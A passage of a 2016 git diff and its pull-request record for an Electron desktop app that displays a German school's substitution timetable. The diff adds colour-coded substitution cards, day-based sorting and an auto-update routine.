+ }
+ }else{
+- if (substitutions_type == "anderer Raum") {
++ if (substitutions_type == "Aufgaben") {
+ if (reg.test(lesson)) {
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #F44336; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
+ }else{
+- $("h3").filter("[klasse='" + klasse + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #F44336; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
++ }
++ }else{
++ if (substitutions_type == "Sondereins.") {
++ if (reg.test(lesson)) {
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
++ }else{
++ $("h3").filter("[klasse='" + klasse + "'][day='" + day + "']", "#klasse").after('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff" id="substitution" substitution="' + lesson + '"><div class="row"><div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div><div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div></div></div>')
++ }
+ }
+ }
+ }
+@@ -138,21 +146,27 @@ <h1 id="school"></h1></br>
+ }
+ }
+ }
++ $.fn.sortSubstitutions = jQuery.fn.sortSubstitutions = function sortSubstitutions() {
++ $("> div", this[0]).sort(dec_sort).appendTo(this[0]);
++ function dec_sort(a, b){ return ($(b).attr("substitution")) < ($(a).attr("substitution")) ? 1 : -1; }
++ }
++ $('div#klasse[klasse="' + klasse + '"]').sortSubstitutions();
+ }
+ }
+ }
+ }
+ }
+ }
+- $.fn.sortDivs = jQuery.fn.sortDivs = function sortDivs() {
++ $.fn.sortClasses = jQuery.fn.sortClasses = function sortClasses() {
+ $("> div", this[0]).sort(dec_sort).appendTo(this[0]);
+ function dec_sort(a, b){ return ($(b).attr("klasse")) < ($(a).attr("klasse")) ? 1 : -1; }
+ }
+- $('#vertretungen').sortDivs();
++ $('#days[day="0"]').sortClasses();
++ $('#days[day="1"]').sortClasses();
+ }else{
+- console.log(error)
+- $("#Main").append('<p class="bg-danger">Scheinbar geht dein Internet nicht :/</p>')
+- }
++ console.log(error)
++ $("#Main").append('<p class="bg-danger">Scheinbar geht dein Internet nicht :/</p>')
++ }
+ })
+
+ $('#Tabs a').click(function (e) {
+diff --git a/app/main.js b/app/main.js
+index c919fa0..3277eef 100644
+--- a/app/main.js
++++ b/app/main.js
+@@ -1,19 +1,25 @@
+-const {app, BrowserWindow, dialog} = require('electron')
++const {app, BrowserWindow, dialog, globalShortcut} = require('electron')
++const autoUpdater = require('electron').autoUpdater
++const os = require("os")
+
+ // Keep a global reference of the window object, if you don't, the window will
+ // be closed automatically when the JavaScript object is garbage collected.
+ let win
+
+ function update () {
+- var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/' + app.getVersion();
++ console.warn("Starting Autoupdater")
++ console.warn(app.getVersion())
++ var feedUrl = 'https://ls-desktop.herokuapp.com/update/' + os.platform() + '/' + app.getVersion() + '/';
+ autoUpdater.setFeedURL(feedUrl);
+
++ autoUpdater.checkForUpdates()
++
+ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
+
+ var index = dialog.showMessageBox(mainWindow, {
+ type: 'info',
+- buttons: [i18n.__('Restart'), i18n.__('Later')],
+- title: "Typetalk",
++ buttons: ['Restart', 'Later'],
++ title: "Lornsenschule Vertretungsplan",
+ message: i18n.__('The new version has been downloaded. Please restart the application to apply the updates.'),
+ detail: releaseName + "\n\n" + releaseNotes
+ });
+@@ -22,7 +28,7 @@ function update () {
+ return;
+ }
+
+- quitAndUpdate();
++ autoUpdater.quitAndUpdate();
+ });
+ }
+
+@@ -33,7 +39,6 @@ function createWindow () {
+ // and load the index.html of the app.
+ win.loadURL(`file://${__dirname}/index.html`)
+
+- // Open the DevTools.
+ //win.webContents.openDevTools()
+
+ // Emitted when the window is closed.
+@@ -43,6 +48,7 @@ function createWindow () {
+ // when you should delete the corresponding element.
+ win = null
+ })
++ update()
+ }
+
+ // This method will be called when Electron has finished
+@@ -65,7 +71,6 @@ app.on('activate', () => {
+ if (win === null) {
+ createWindow()
+ }
+- update();
+ })
+
+ // In this file you can include the rest of your app's specific main process
+diff --git a/app/package.json b/app/package.json
+index 8c60e60..700d1d0 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,10 +1,21 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+ "productName": "Lornsenschule Vertretungsplan",
+- "version": "0.0.4",
++ "version": "0.1.0",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "main": "./main.js",
+- "author": "Lornsenschule Vertretungsplan",
++ "author": {
++ "name" : "Lornsenschule Vertretungsplan",
++ "email" : "ínfo@nordgedanken.de",
++ "url" : "https://github.com/MTRNord/ls-vertretungsplan-desktop"
++ },
++ "contributors": [
++ {
++ "name" : "Marcel Radzio",
++ "email" : "ínfo@nordgedanken.de",
++ "url" : "https://github.com/MTRNord/ls-vertretungsplan-desktop"
++ }
++ ],
+ "license": "",
+ "dependencies": {
+ "cached-request": "^1.0.0",
+diff --git a/package.json b/package.json
+index 39328fa..6ce419b 100644
+--- a/package.json
++++ b/package.json
+@@ -1,8 +1,8 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+- "version": "0.0.4",
++ "version": "0.1.0",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+- "author": "Marcel Radzio <info@nordgedanken.de>",
++ "author": "Marcel Radzio",
+ "license": "",
+ "devDependencies": {
+ "electron": "^1.3.4",
+@@ -34,12 +34,12 @@
+ },
+ "win": {
+ "iconUrl": "https://github.com/MTRNord/ls-vertretungsplan-desktop/tree/master/app/LS.ico?raw=true",
++ "remoteReleases": "http://ls-desktop.herokuapp.com/download/0.0.4/",
+ "icon": "app/LS.ico"
+ },
+ "linux": {
+ "target": [
+ "deb",
+- "AppImage",
+ "zip",
+ "rpm"
+ ]
diff --git a/pulls/9.json b/pulls/9.json
@@ -0,0 +1,18 @@
+{
+ "number": 9,
+ "title": "Update to 0.1.0",
+ "state": "merged",
+ "diff_file": "9.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-04T13:15:46Z",
+ "closed_at": "2016-09-04T13:15:50Z",
+ "merged_at": "2016-09-04T13:15:50Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "<!-- Reviewable:start -->\n\nThis change is [<img src=\"https://reviewable.io/review_button.svg\" height=\"34\" align=\"absmiddle\" alt=\"Reviewable\"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/9)\n\n<!-- Reviewable:end -->\n",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/9.md b/pulls/9.md
@@ -0,0 +1,18 @@
+# PR #9 Update to 0.1.0
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-04T13:15:46Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-04T13:15:50Z
+- **Diff:** [9.diff](./9.diff)
+
+---
+
+<!-- Reviewable:start -->
+
+This change is [<img src="https://reviewable.io/review_button.svg" height="34" align="absmiddle" alt="Reviewable"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/9)
+
+<!-- Reviewable:end -->
+
+